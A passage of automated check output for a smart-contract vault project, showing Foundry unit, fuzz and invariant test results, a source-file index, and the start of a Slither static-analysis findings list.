1254900)\n[PASS] test_callbackRejectsWeakOrMismatchedAttestations() (gas: 1991894)\n[PASS] test_callbackRejectsWrongAnswerType() (gas: 1289194)\n[PASS] test_callbackRejectsWrongSigner() (gas: 1270836)\n[PASS] test_chainEvidenceAcceptsDeployerSettledVerdict() (gas: 1240396)\n[PASS] test_checkNeedsBudget() (gas: 1237961)\n[PASS] test_checkOpenReportsBudget() (gas: 543071)\n[PASS] test_checkPaysIntakeFromBudget() (gas: 1267661)\n[PASS] test_checkRejectsIntakeThatDoesNotPull() (gas: 1014807)\n[PASS] test_checkRejectsRepeatedRequestId() (gas: 1697655)\n[PASS] test_createPullsTokensAndBudget() (gas: 477341)\n[PASS] test_createRejectsBadQuestionStrings() (gas: 2756885)\n[PASS] test_createRejectsTaxedToken() (gas: 1114020)\n[PASS] test_createValidatesMilestones() (gas: 704836)\n[PASS] test_createValidatesPledge() (gas: 192120)\n[PASS] test_falseVerdictKeepsMilestoneOpen() (gas: 1861435)\n[PASS] test_inFlightCheckStaysBoundToItsIntake() (gas: 1486471)\n[PASS] test_isoDate() (gas: 41366)\n[PASS] test_keptPaysBeneficiaryAndReturnsBudget() (gas: 1528583)\n[PASS] test_keptRebatesFromRefereeFund() (gas: 1579314)\n[PASS] test_multiMilestoneMixedOutcomes() (gas: 3152001)\n[PASS] test_newChecksUseTheRotatedSigner() (gas: 1529920)\n[PASS] test_noRebateWhenFundIsShort() (gas: 1424042)\n[PASS] test_oneCheckInFlight() (gas: 1172688)\n[PASS] test_onlyBeneficiaryChecksBeforeDeadline() (gas: 1177243)\n[PASS] test_onlyBeneficiaryChecksEvenAfterDeadline() (gas: 1264896)\n[PASS] test_ownerHasNoPathToLockedTokens() (gas: 540546)\n[PASS] test_panelChangeOnlyAffectsNewPledges() (gas: 871407)\n[PASS] test_panelEvidenceNeedsQuorumAgreement() (gas: 1286460)\n[PASS] test_protocolChangeWaitsSevenDays() (gas: 224290)\n[PASS] test_questionBodies() (gas: 68804)\n[PASS] test_questionOfMatchesPreview() (gas: 496487)\n[PASS] test_settleBurnsAfterStaleLastCheck() (gas: 1368568)\n[PASS] test_settleTwiceReverts() (gas: 528241)\n[PASS] test_settleWaitsForCheckInFlight() (gas: 1450907)\n[PASS] test_signerRotationDoesNotStrandChecksInFlight() (gas: 1496054)\n[PASS] test_staleCheckRetriesAndAttemptsCap() (gas: 1744575)\n[PASS] test_unprovenMilestoneBurns() (gas: 644737)\n[PASS] test_valueTemplateRejectsZeroThreshold() (gas: 195184)\n[PASS] test_withdrawBudgetOnlyWhenFinished() (gas: 844312)\nSuite result: ok. 43 passed; 0 failed; 0 skipped; finished in 362.71ms (34.12ms CPU time)\n\nRan 33 tests for test/KeptVaultFailurePaths.t.sol:KeptVaultFailurePathsTest\n[PASS] testFuzz_setPanelAcceptsExactlyAStrictMajority(uint16,uint16) (runs: 1000, μ: 58892, ~: 58236)\nLogs:\n  Bound result 71\n  Bound result 0\n\n[PASS] testFuzz_settlementSplitsExactly(uint8,uint256,uint96) (runs: 500, μ: 3516918, ~: 2936244)\nLogs:\n  Bound result 1\n  Bound result 40151834615473879\n\n[PASS] test_adminFunctionsAreOwnerOnly() (gas: 95606)\n[PASS] test_attackerIntakeCannotDeliver() (gas: 1948716)\n[PASS] test_attestationIssuedTooFarInTheFutureIsRefused() (gas: 1383449)\n[PASS] test_cancelAndExecuteNeedAPendingChange() (gas: 247717)\n[PASS] test_checkRefusedOnceKeptOrSettled() (gas: 1719481)\n[PASS] test_checkUnknownPledgeOrMilestone() (gas: 585394)\n[PASS] test_clearStaleFailurePathsAndBoundary() (gas: 1518075)\n[PASS] test_constructorPanelEdges() (gas: 13400)\n[PASS] test_constructorRejectsMissingAddresses() (gas: 11494)\n[PASS] test_creatorWithoutAllowanceCannotCreate() (gas: 366975)\n[PASS] test_duplicateDeliveryIsRefused() (gas: 1455648)\n[PASS] test_emptyAndMalleatedSignaturesAreRefused() (gas: 1451766)\n[PASS] test_expiryBeforeIssueIsRefused() (gas: 1288289)\n[PASS] test_fundFailurePaths() (gas: 621946)\n[PASS] test_imdAsPledgeTokenStaysApartFromBudgets() (gas: 1583377)\n[PASS] test_keptSettlementByAnyoneAlwaysPaysTheBeneficiary() (gas: 1423159)\n[PASS] test_lateAnswerAfterBurnIsRefused() (gas: 1370427)\n[PASS] test_noThenKeptPaysOutAndRebatesOnlyTheKeptCheck() (gas: 2019343)\n[PASS] test_ownerHandoverMovesTheRole() (gas: 104374)\n[PASS] test_pledgesAreIsolated() (gas: 2701013)\n[PASS] test_proposeRejectsZeroFields() (gas: 92190)\n[PASS] test_reentrantTokenCannotReenterSettle() (gas: 2945041)\n[PASS] test_renouncedOwnerCannotAdminister() (gas: 114808)\n[PASS] test_reproposalRestartsTheDelayAndExecutesOnce() (gas: 264436)\n[PASS] test_retiredIntakeCannotAnswerTheNewIntakesRequests() (gas: 2209969)\n[PASS] test_settleBoundaryIsStrictlyAfterGrace() (gas: 590082)\n[PASS] test_signatureForAnotherVaultIsRefused() (gas: 1284780)\n[PASS] test_threeNoVerdictsExhaustAttempts() (gas: 2583960)\n[PASS] test_withdrawUnknownPledgeAndEmptyBudget() (gas: 474327)\n[PASS] test_worstCaseCallbackFitsTheStipend() (gas: 4485373)\n[PASS] test_zeroQuoteRefusesCheckAndSpendsNothing() (gas: 547095)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 362.86ms (481.97ms CPU time)\n\nRan 1 test for test/KeptVaultActorsInvariant.t.sol:KeptVaultActorsInvariantTest\n[PASS]\nKeptVaultActorsInvariantTest invariants:\n[PASS] invariant_imdConserved\n[PASS] invariant_openCountMatches\n[PASS] invariant_rulesHold\n[PASS] invariant_teamTokensConserved\n KeptVaultActorsInvariantTest invariants (runs: 64, calls: 6400, reverts: 0)\n\n╭---------------+----------+-------+---------+----------╮\n| Contract      | Selector | Calls | Reverts | Discards |\n+=======================================================+\n| ActorsHandler | answer   | 596   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | check    | 565   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | clear    | 605   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | create   | 582   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | donate   | 599   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | fund     | 553   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | reprice  | 562   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | rotate   | 585   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | settle   | 583   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | wait     | 552   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | withdraw | 618   | 0       | 0        |\n╰---------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 700000000000008196\n  Bound result 1766\n  Bound result 21017\n  Bound result 40\n  Bound result 4\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 12730\n  Bound result 16303\n  Bound result 1\n  Bound result 13342\n  Bound result 1\n  Bound result 700000000000003811\n  Bound result 10236\n  Bound result 2\n  Bound result 820010\n  Bound result 235\n  Bound result 820010\n  Bound result 235\n  Bound result 8056\n  Bound result 700000000000016115\n  Bound result 700000000000016121\n  Bound result 1\n  Bound result 860473\n  Bound result 834608682242094266405572\n  Bound result 1904081839772479143\n  Bound result 1\n  Bound result 2\n  Bound result 172800\n  Bound result 1\n  Bound result 84154\n  Bound result 1519338577213101\n  Bound result 1943390248827724407\n  Bound result 700000000000009349\n  Bound result 1\n  Bound result 3\n  Bound result 119\n  Bound result 4\n  Bound result 2\n  Bound result 1538458570946369885\n  Bound result 4\n  Bound result 1\n  Bound result 42161\n  Bound result 3667\n  Bound result 1440\n  Bound result 3\n  Bound result 4096\n  Bound result 6672\n  Bound result 4096\n  Bound result 6672\n  Bound result 4096\n  Bound result 6672\n  Bound result 3242\n  Bound result 2\n  Bound result 17846\n  Bound result 12996\n  Bound result 15738\n  Bound result 5\n  Bound result 4\n  Bound result 3\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 1243377696693487047\n  Bound result 2\n  Bound result 6\n  Bound result 1\n  Bound result 5843\n  Bound result 7\n  Bound result 12488\n  Bound result 1\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 1\n  Bound result 16463\n  Bound result 700000000000015434\n  Bound result 5\n  Bound result 3\n  Bound result 13313\n  Bound result 175774797\n  Bound result 13313\n  Bound result 175774797\n  Bound result 13313\n  Bound result 175774797\n  Bound result 20198\n  Bound result 4\n  Bound result 3222\n  Bound result 700000000000005425\n  Bound result 28800\n  Bound result 4\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 372815452998599942\n  Bound result 1\n  Bound result 6\n  Bound result 4\n  Bound result 8\n  Bound result 5077\n  Bound result 8089\n  Bound result 1606714308\n  Bound result 700000000527324395\n  Bound result 1\n  Bound result 120667740506\n  Bound result 42\n  Bound result 6\n  Bound result 9\n  Bound result 10286\n  Bound result 3\n  Bound result 47\n  Bound result 2\n  Bound result 5643657678917\n  Bound result 4\n  Bound result 1\n  Bound result 860502\n  Bound result 15232\n  Bound result 1935\n  Bound result 5\n  Bound result 1\n  Bound result 9655\n  Bound result 1000000000000000000\n  Bound result 10\n  Bound result 10\n  Bound result 27\n  Bound result 700000000000000764\n  Bound result 10\n  Bound result 6902\n  Bound result 700000000000020198\n  Bound result 8\n  Bound result 3\n  Bound result 8\n  Bound result 616684279554989\n  Bound result 1149634294\n  Bound result 2\n  Bound result 860441\n  Bound result 36893488149211947354\n  Bound result 860441\n  Bound result 36893488149211947354\n  Bound result 15030\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.61s (10.61s CPU time)\n\nRan 1 test for test/VaultInvariant.t.sol:VaultInvariantTest\n[PASS]\nVaultInvariantTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultInvariantTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86937\n  Bound result 1432\n  Bound result 1\n  Bound result 863941\n  Bound result 1799\n  Bound result 1599\n  Bound result 8886\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 1\n  Bound result 16387\n  Bound result 2018\n  Bound result 4725\n  Bound result 2\n  Bound result 1\n  Bound result 18\n  Bound result 2\n  Bound result 900\n  Bound result 1482\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 9471\n  Bound result 121945\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 972\n  Bound result 2\n  Bound result 14181\n  Bound result 2\n  Bound result 20823\n  Bound result 6807\n  Bound result 20823\n  Bound result 6807\n  Bound result 8179\n  Bound result 1\n  Bound result 483\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 3\n  Bound result 516\n  Bound result 3\n  Bound result 2\n  Bound result 11\n  Bound result 96\n  Bound result 4\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 1606\n  Bound result 2\n  Bound result 4\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 844\n  Bound result 5\n  Bound result 816850279\n  Bound result 4\n  Bound result 5\n  Bound result 12957\n  Bound result 3\n  Bound result 200000\n  Bound result 17024\n  Bound result 200000\n  Bound result 17024\n  Bound result 200000\n  Bound result 17024\n  Bound result 231\n  Bound result 2\n  Bound result 4060877235\n  Bound result 6\n  Bound result 4\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 12661\n  Bound result 7\n  Bound result 5366\n  Bound result 4\n  Bound result 8837\n  Bound result 7\n  Bound result 4\n  Bound result 2514405816469773012\n  Bound result 4\n  Bound result 8629\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 2\n  Bound result 5\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 42759\n  Bound result 3074\n  Bound result 4\n  Bound result 5\n  Bound result 892207618\n  Bound result 7\n  Bound result 2514405816469773018\n  Bound result 2\n  Bound result 5\n  Bound result 6\n  Bound result 6\n  Bound result 1\n  Bound result 10192\n  Bound result 1\n  Bound result 172800\n  Bound result 4\n  Bound result 12903\n  Bound result 16208\n  Bound result 12903\n  Bound result 16208\n  Bound result 12903\n  Bound result 16208\n  Bound result 12903\n  Bound result 16208\n  Bound result 5615\n  Bound result 5\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 1\n  Bound result 7\n  Bound result 7\n  Bound result 445\n  Bound result 3\n  Bound result 19377\n  Bound result 2\n  Bound result 4\n  Bound result 860502\n  Bound result 10146\n  Bound result 860502\n  Bound result 10146\n  Bound result 860502\n  Bound result 10146\n  Bound result 860502\n  Bound result 10146\n  Bound result 839\n  Bound result 2\n  Bound result 2\n  Bound result 104\n  Bound result 1\n  Bound result 3\n  Bound result 4238\n  Bound result 10\n  Bound result 10\n  Bound result 3\n  Bound result 7852\n  Bound result 16118\n  Bound result 7852\n  Bound result 16118\n  Bound result 7852\n  Bound result 16118\n  Bound result 7624\n  Bound result 2117\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 4\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 21.47s (21.46s CPU time)\n\nRan 2 tests for test/VaultInvariant.t.sol:VaultHandlerSmokeTest\n[PASS]\nVaultHandlerSmokeTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultHandlerSmokeTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86936\n  Bound result 3521045371\n  Bound result 3\n  Bound result 863941\n  Bound result 2014\n  Bound result 863941\n  Bound result 2014\n  Bound result 863941\n  Bound result 2014\n  Bound result 10038\n  Bound result 2286\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 1\n  Bound result 732361\n  Bound result 726142741105178168243183\n  Bound result 6018\n  Bound result 2\n  Bound result 2\n  Bound result 18\n  Bound result 1\n  Bound result 900\n  Bound result 1482\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 10173\n  Bound result 121945\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 1245\n  Bound result 1\n  Bound result 14477\n  Bound result 2\n  Bound result 20823\n  Bound result 8288\n  Bound result 20823\n  Bound result 8288\n  Bound result 8378\n  Bound result 1\n  Bound result 483\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 3\n  Bound result 3\n  Bound result 3\n  Bound result 2\n  Bound result 3\n  Bound result 2\n  Bound result 3926\n  Bound result 2\n  Bound result 2\n  Bound result 11\n  Bound result 96\n  Bound result 4\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 862\n  Bound result 2\n  Bound result 4\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 845\n  Bound result 5\n  Bound result 816850279\n  Bound result 5\n  Bound result 5\n  Bound result 13017\n  Bound result 3\n  Bound result 200000\n  Bound result 17020\n  Bound result 200000\n  Bound result 17020\n  Bound result 200000\n  Bound result 17020\n  Bound result 1243\n  Bound result 2\n  Bound result 4640\n  Bound result 3\n  Bound result 4\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 12838\n  Bound result 7\n  Bound result 6157\n  Bound result 7\n  Bound result 74436\n  Bound result 4\n  Bound result 4\n  Bound result 3523503886\n  Bound result 7\n  Bound result 8974\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 2\n  Bound result 4\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 42759\n  Bound result 4782\n  Bound result 4\n  Bound result 5\n  Bound result 623760108546967308\n  Bound result 1\n  Bound result 1125891786828490918\n  Bound result 2\n  Bound result 3\n  Bound result 6\n  Bound result 6\n  Bound result 1\n  Bound result 10303\n  Bound result 4\n  Bound result 172800\n  Bound result 4\n  Bound result 11771\n  Bound result 16958\n  Bound result 11771\n  Bound result 16958\n  Bound result 11771\n  Bound result 16958\n  Bound result 11771\n  Bound result 16958\n  Bound result 5607\n  Bound result 7\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 1\n  Bound result 7\n  Bound result 7\n  Bound result 10230\n  Bound result 3\n  Bound result 19508\n  Bound result 2\n  Bound result 1\n  Bound result 860502\n  Bound result 4718\n  Bound result 179145366892468985\n  Bound result 8\n  Bound result 2\n  Bound result 62\n  Bound result 1\n  Bound result 3\n  Bound result 2782\n  Bound result 10\n  Bound result 10\n  Bound result 3\n  Bound result 7838\n  Bound result 16957\n  Bound result 7838\n  Bound result 16957\n  Bound result 7838\n  Bound result 16957\n  Bound result 7637\n  Bound result 10134\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 11\n\n[PASS] test_handlerReachesPayoutAndBurn() (gas: 2028271)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 22.05s (22.04s CPU time)\n\nRan 16 test suites in 22.05s (56.80s CPU time): 153 tests passed, 0 failed, 1 skipped (154 total tests)\n","passed":true},{"durationMs":185,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KeptHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"KeptHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"KeptHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"KeptHook.sweep()\",\"KeptHook.unlockCallback(bytes)\",\"KeptToken.approve(address,uint256)\",\"KeptToken.transfer(address,uint256)\",\"KeptToken.transferFrom(address,address,uint256)\",\"KeptVault.cancelProtocol()\",\"KeptVault.check(uint256,uint8)\",\"KeptVault.check(uint256,uint8,uint256)\",\"KeptVault.clearStale(uint256,uint8)\",\"KeptVault.createPledge(address,address,string,(uint8,uint64,uint128,uint64,address,uint256,string,string,string)[],uint256)\",\"KeptVault.executeProtocol()\",\"KeptVault.fund(uint256,uint256)\",\"KeptVault.fundReferee(uint256)\",\"KeptVault.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"KeptVault.proposeProtocol(address,bytes32,address)\",\"KeptVault.setOwner(address)\",\"KeptVault.setPanel(uint16,uint16)\",\"KeptVault.settle(uint256,uint8)\",\"KeptVault.withdrawBudget(uint256)\"],\"files\":{\".gitattributes\":2,\".gitignore\":5,\"ADAPTATION.md\":104,\"README.md\":119,\"dist/apple-touch-icon.png\":8,\"dist/assets/ccip-CaZZqoFJ.js\":1,\"dist/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff\":60,\"dist/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2\":58,\"dist/assets/ibm-plex-mono-latin-500-normal-CB9ihrfo.woff\":51,\"dist/assets/ibm-plex-mono-latin-500-normal-DSY6xOcd.woff2\":62,\"dist/assets/ibm-plex-mono-latin-600-normal-BgSNZQsw.woff2\":78,\"dist/assets/ibm-plex-mono-latin-600-normal-DWFSQ4vo.woff\":53,\"dist/assets/index-C4mfrCCb.js\":36,\"dist/assets/index-TiwfCIFz.css\":1,\"dist/assets/secp256k1-BNTI0_yw.js\":1,\"dist/assets/swarm-DuldE8ej.js\":83,\"dist/assets/utils-Bpv4vmSW.js\":1,\"dist/favicon-32.png\":4,\"dist/favicon.svg\":5,\"dist/icon-512.png\":8,\"dist/index.html\":23,\"docs/ORACLE_PREFLIGHT.json\":384,\"docs/OUTREACH.md\":60,\"docs/SPEC.md\":150,\"docs/SUBMISSION.md\":81,\"docs/VERIFICATION.md\":211,\"docs/brand/generate_logos.py\":62,\"docs/brand/kept-avatar-400.png\":12,\"docs/brand/kept-avatar.png\":34,\"docs/brand/kept-avatar.svg\":7,\"docs/brand/kept-logo-dark.png\":54,\"docs/brand/kept-logo-dark.svg\":61,\"docs/brand/kept-logo.png\":70,\"docs/brand/kept-logo.svg\":61,\"docs/brand/kept-mark-dark.png\":38,\"docs/brand/kept-mark-dark.svg\":59,\"docs/brand/kept-mark.png\":126,\"docs/brand/kept-mark.svg\":59,\"docs/brand/kept-stamp.png\":215,\"docs/brand/kept-stamp.svg\":64,\"docs/brand/kept-x-banner.png\":790,\"docs/brand/kept-x-banner@2x.png\":2387,\"docs/launches/vault-2172.adaptation.md\":150,\"docs/launches/vault-2172.launch.json\":18,\"docs/research.md\":61,\"docs/screenshots/local-home-light.png\":833,\"docs/screenshots/local-home.png\":768,\"docs/screenshots/local-how.png\":310,\"docs/screenshots/local-make-pledge.png\":323,\"docs/screenshots/local-mobile.png\":242,\"docs/screenshots/local-pledge.png\":332,\"foundry.toml\":21,\"remappings.txt\":4,\"script/LocalDemo.s.sol\":111,\"scripts/launch/.gitignore\":2,\"scripts/launch/README.md\":61,\"scripts/launch/launch.mjs\":474,\"scripts/launch/package-lock.json\":248,\"scripts/launch/package.json\":14,\"src/KeptHook.sol\":212,\"src/KeptToken.sol\":60,\"src/KeptVault.sol\":664,\"src/OracleAttestation.sol\":239,\"src/interfaces/IIntake.sol\":18,\"src/libraries/HookFlags.sol\":30,\"src/libraries/Questions.sol\":250,\"src/libraries/SpecifiedAmount.sol\":101,\"test/KeptHook.t.sol\":243,\"test/KeptHookLaunch.t.sol\":120,\"test/KeptToken.t.sol\":89,\"test/KeptVault.t.sol\":639,\"test/KeptVaultActorsInvariant.t.sol\":492,\"test/KeptVaultAudit.t.sol\":243,\"test/KeptVaultFailurePaths.t.sol\":642,\"test/KeptVaultLaunch.t.sol\":100,\"test/KeptVaultTokenCompatibility.t.sol\":49,\"test/OracleConformance.t.sol\":119,\"test/RealAttestation.t.sol\":66,\"test/VaultInvariant.t.sol\":228,\"test/fork/Robinhood.t.sol\":170,\"test/helpers/HookFixture.sol\":171,\"test/helpers/TestRouter.sol\":70,\"test/helpers/VaultFixture.sol\":190,\"test/mocks/FeeToken.sol\":27,\"test/mocks/MockERC20.sol\":58,\"test/mocks/MockIntake.sol\":64,\"vercel.json\":20,\"web/README.md\":76,\"web/index.html\":19,\"web/package-lock.json\":1015,\"web/package.json\":18,\"web/public/apple-touch-icon.png\":8,\"web/public/favicon-32.png\":4,\"web/public/favicon.svg\":5,\"web/public/icon-512.png\":8,\"web/src/abi/KeptHook.json\":658,\"web/src/abi/KeptToken.json\":244,\"web/src/abi/KeptVault.json\":1940,\"web/src/chain.js\":335,\"web/src/config.js\":30,\"web/src/dom.js\":84,\"web/src/fx.js\":325,\"web/src/hero.js\":149,\"web/src/icons.js\":42,\"web/src/main.js\":1410,\"web/src/store.js\":88,\"web/src/styles.css\":772,\"web/src/swarm.js\":586,\"web/src/ui.js\":219,\"web/vite.config.js\":42},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":11092,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/KeptVault.sol:296: Reentrancy in KeptVault._check(uint256,uint8,uint256) (src/KeptVault.sol#296-335):\n[medium/medium] divide-before-multiply at src/libraries/Questions.sol:139: Questions.isoDate(uint256) (src/libraries/Questions.sol#139-165) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/Questions.sol:139: Questions.isoDate(uint256) (src/libraries/Questions.sol#139-165) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/Questions.sol:139: Questions.isoDate(uint256) (src/libraries/Questions.sol#139-165) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/Questions.sol:139: Questions.isoDate(uint256) (src/libraries/Questions.sol#139-165) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/Questions.sol:139: Questions.isoDate(uint256) (src/libraries/Questions.sol#139-165) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/KeptHook.sol:171: KeptHook._accrue(uint256) (src/KeptHook.sol#171-180) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptHook.sol:109: KeptHook.feeNow() (src/KeptHook.sol#109-114) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptVault.sol:634: KeptVault._setProtocol(address,bytes32,address) (src/KeptVault.sol#634-640) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptHook.sol:121: KeptHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/KeptHook.sol#121-150) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptVault.sol:574: KeptVault.executeProtocol() (src/KeptVault.sol#574-580) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptHook.sol:171: KeptHook._accrue(uint256) (src/KeptHook.sol#171-180) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptVault.sol:296: KeptVault._check(uint256,uint8,uint256) (src/KeptVault.sol#296-335) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/KeptHook.sol:189: Reentrancy in KeptHook.sweep() (src/KeptHook.sol#189-201):\n[medium/medium] uninitialized-local at src/KeptVault.sol:236: KeptVault.createPledge(IERC20,address,string,KeptVault.MilestoneInput[],uint256).total (src/KeptVault.sol#236) is a local variable never initialized\n[medium/medium] unused-return at src/KeptHook.sol:189: KeptHook.sweep() (src/KeptHook.sol#189-201) ignores return value by poolManager.unlock() (src/KeptHook.sol#192)\n[medium/medium] unused-return at src/libraries/SpecifiedAmount.sol:24: SpecifiedAmount.filled(IPoolManager,PoolKey,SwapParams) (src/libraries/SpecifiedAmount.sol#24-75) ignores return value by (None,net) = manager.getTickLiquidity(id,next) (src/libraries/SpecifiedAmount.sol#62)\n[low/medium] missing-zero-check at src/KeptVault.sol:588: 